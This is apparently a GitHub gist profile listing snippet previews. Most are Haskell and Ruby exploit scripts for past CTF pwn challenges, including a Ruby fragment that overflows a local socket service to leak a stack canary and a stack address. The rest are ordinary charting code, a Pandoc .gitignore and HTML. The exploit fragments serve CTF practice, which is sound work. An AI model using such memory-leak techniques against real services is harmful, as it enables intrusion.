Skip to content

Instantly share code, notes, and snippets.

View Tosainu's full-sized avatar
🌸
ヾ( ╹◡╹ 🌸 )ノ"

Kenta Sato Tosainu

🌸
ヾ( ╹◡╹ 🌸 )ノ"
View GitHub Profile
@Tosainu
Tosainu / exploit.hs
Last active September 23, 2017 13:12
#!/usr/bin/env stack
-- stack --stack-yaml ./stack.yaml runghc --package pwn
-- 31C3 CTF: mynx
-- https://github.com/ctfs/write-ups-2014/tree/master/31c3-ctf-2014/pwn/mynx
-- tested env:
-- $ cat /etc/os-release
-- NAME="Ubuntu"
-- VERSION="16.04.3 LTS (Xenial Xerus)"
#!/usr/bin/env stack
-- stack --stack-yaml ./stack.yaml runghc --package pwn
-- HITCON CTF 2016 Quals: Secret Holder
-- https://github.com/ctfs/write-ups-2016/tree/master/hitcon-ctf-2016/pwn/secret-holder-100
-- tested env:
-- $ cat /etc/os-release
-- NAME="Ubuntu"
-- VERSION="16.04.3 LTS (Xenial Xerus)"
#!/usr/bin/env stack
-- stack --stack-yaml ./stack.yaml runghc
-- SIGINT CTF 2013: baremetal
-- http://shell-storm.org/repo/CTF/SIGINT-2013/pwning/baremetal-100/
{-# LANGUAGE OverloadedStrings #-}
import Control.Concurrent (threadDelay)
import Control.Monad
require 'pwn'
z = Sock.new '127.0.0.1', 31338
z.send 'A' * 0x19
z.recv 0x18
canary = u64(z.recv 8) & (~0xff)
log.info "canary: #{canary.hex}"
z.recv
z.send 'A' * 0x40
z.recv 0x40
stack = u64((z.recv 6) + '\x00\x00') & 0x00ffffffffffff
module Main where
import Control.Monad (replicateM)
import Graphics.Rendering.Chart.Backend.Cairo
import Graphics.Rendering.Chart.Easy
import Graphics.Rendering.Chart.Gtk
import Numeric.LinearAlgebra
import System.Random
instance (Random x, Random y) => Random (x, y) where
@Tosainu
Tosainu / Main.hs
Last active January 5, 2018 16:02
{-# LANGUAGE FlexibleContexts #-}
module Main where
import Control.Monad (replicateM)
import Graphics.Rendering.Chart.Backend.Cairo
import Graphics.Rendering.Chart.Easy hiding ((<.>))
import Graphics.Rendering.Chart.Gtk
import Numeric.GSL.Minimization
import Numeric.LinearAlgebra
@Tosainu
Tosainu / .gitignore
Last active December 24, 2018 10:42
私用の Pandoc テンプレート
body.aux
body.bbl
body.bcf
body.blg
body.dvi
body.fdb_latexmk
body.fls
body.log
body.out
body.pdf
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8" />
<meta name="viewport" content="width=device-width" />
<title>にゃーん</title>
</head>
<body>
<p id="message-box"></p>
{-# LANGUAGE OverloadedStrings #-}
-- CSAW CTF Qualification Round 2012: 聊天
-- http://shell-storm.org/repo/CTF/CSAW-2012/Exploitation/300/
import Control.Monad
import Data.Bits
import qualified Data.ByteString.Char8 as BS
import Data.Maybe
import Data.Monoid ((<>))
{-# LANGUAGE OverloadedStrings #-}
-- ASIS CTF Quals 2018: Cat
import Control.Monad
import Control.Monad.IO.Class (liftIO)
import Data.Bits
import qualified Data.ByteString.Char8 as BS
import Data.Maybe
import Data.Monoid ((<>))